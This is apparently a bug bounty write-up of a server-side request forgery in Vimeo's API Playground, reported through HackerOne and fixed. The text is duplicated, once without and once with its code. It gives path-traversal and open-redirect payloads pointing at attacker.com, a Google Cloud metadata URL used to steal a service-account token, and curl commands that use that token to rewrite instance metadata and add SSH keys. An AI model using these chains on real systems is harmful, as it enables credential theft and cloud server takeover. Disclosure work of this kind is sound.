I recently discovered SSRF on Vimeo with code execution. In this article, I will explain how I found this very Server Side Request Forgery (SSRF). So, let's begin.
Vimeo's background
gives you the ability to use a console API for its API, called the Playground API . Requests made using this web application are performed on the server side. Take the below query as an example. Basic query:
This request should rewrite GET on the server side to:
If you look closely at the request, we have quite a bit of control here. First, the parameter uri, which is the final point for reaching the final goal, i.e. in this case /users/{user_id}/videos/{video_id}, the request method, i.e. in this case, the value is set GET, whose parameters must be parameters if the request method is POST. user_id& video_idare varieties of variables whose values are defined in the parameter segments.
Path traversal in HTTP requests on the server side
At first I tried to change the URI parameter to my own, but all the time I came across the fact that any change in the URI leads to a 403 error. This means they allow API points to be set. However, changing the values of variables such as user_id&videos_idperhaps because these values are reflected in the URL. That is, the call ../../../will result in getting a ROOT on api.vimeo.com
The following shows exactly how this happens:
Result:
Path traversal in HTTP requests on the server side
As you can see in the server response, if we make a request with authentication to api.vimeo.com , we will get the desired result. The request must be made with an authorization header.
Now what?
We're still on the api.vimeo.com host, how do we elevate permissions?
Long story, hooked up a sense and logical thinking, but in the end I decided that it redirects HTTP 30X redirects. And he turned out to be right.
Good old content research
api.vimeo.com - to vimeo.com
Cool, now we have ample opportunity to find an open redirect, I have a not very useful open redirect to vimeo.com, I won't reveal the details, let's just assume that this is something- something like this
It does a 302 redirect to attacker.com
Chain completed
Final payload to redirect the server to our controlled host:
Passing this value to will video_idtransform the URL like this
which becomes
HTTP redirect ready:
Another redirect is also ready:
SSRF done, Edited details regarding open redirect and my domain.
The server expects a JSON response, parses it, and displays it in response.
Operation
Since Vimeo's infrastructure is in the Google Cloud, my first attempt was to use the Google Metadata API. I followed the 0xacb
approach. This approach allows us to get an account token.
Token Features
Answer:
I could use this token to add my SSH public key to the instance and then connect with my private key.
Answer:
As well as…
Keys added
However, the SSH port was only open on the internal network
But this was enough to prove the vulnerability and the theoretical possibility of obtaining a shell
. I was also able to extract the keys from Kubernetes from the metadata in the API, but for some reason I could not use them, although Vimeo team later confirmed that they are valid.That
's it guys.Hope you liked
How did Vimeo thank me?
The time frame looked like this:
January 28, early morning: I originally found the bug
January 28: accepted on HackerOne
January 28: Vimeo team temporarily fixed the situation and sent me $ 100 as a thank you
January 30/31: Vimeo fixes the bug already fully
on February 1: they sent me a thank you note of $4900
Vimeo's background
gives you the ability to use a console API for its API, called the Playground API . Requests made using this web application are performed on the server side. Take the below query as an example. Basic query:

This request should rewrite GET on the server side to:
Code:
https://api.vimeo.com/users/{user_id}/videos/{video_id}
Path traversal in HTTP requests on the server side
At first I tried to change the URI parameter to my own, but all the time I came across the fact that any change in the URI leads to a 403 error. This means they allow API points to be set. However, changing the values of variables such as user_id&videos_idperhaps because these values are reflected in the URL. That is, the call ../../../will result in getting a ROOT on api.vimeo.com
The following shows exactly how this happens:
Code:
URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)
Code:
https://api.vimeo.com/attacker

Path traversal in HTTP requests on the server side
As you can see in the server response, if we make a request with authentication to api.vimeo.com , we will get the desired result. The request must be made with an authorization header.
Now what?
We're still on the api.vimeo.com host, how do we elevate permissions?
Long story, hooked up a sense and logical thinking, but in the end I decided that it redirects HTTP 30X redirects. And he turned out to be right.
Good old content research
Code:
https://api.vimeo.com/m/something

api.vimeo.com - to vimeo.com
Cool, now we have ample opportunity to find an open redirect, I have a not very useful open redirect to vimeo.com, I won't reveal the details, let's just assume that this is something- something like this
Code:
https://vimeo/vulnerable/open/redirect?url=https://attacker.com
Chain completed
Final payload to redirect the server to our controlled host:
Code:
../../../m/vulnerable/open/redirect?url=https://attacker.com
Code:
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
Code:
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
Code:
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
Code:
https://attacker.com

SSRF done, Edited details regarding open redirect and my domain.
The server expects a JSON response, parses it, and displays it in response.
Operation
Since Vimeo's infrastructure is in the Google Cloud, my first attempt was to use the Google Metadata API. I followed the 0xacb
approach. This approach allows us to get an account token.
Code:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Code:
{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }
Code:
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
Code:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }
Code:
$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
Code:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “[email protected]”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

Keys added

However, the SSH port was only open on the internal network
. I was also able to extract the keys from Kubernetes from the metadata in the API, but for some reason I could not use them, although Vimeo team later confirmed that they are valid.That
's it guys.Hope you liked
How did Vimeo thank me?
The time frame looked like this:
January 28, early morning: I originally found the bug
January 28: accepted on HackerOne
January 28: Vimeo team temporarily fixed the situation and sent me $ 100 as a thank you
January 30/31: Vimeo fixes the bug already fully
on February 1: they sent me a thank you note of $4900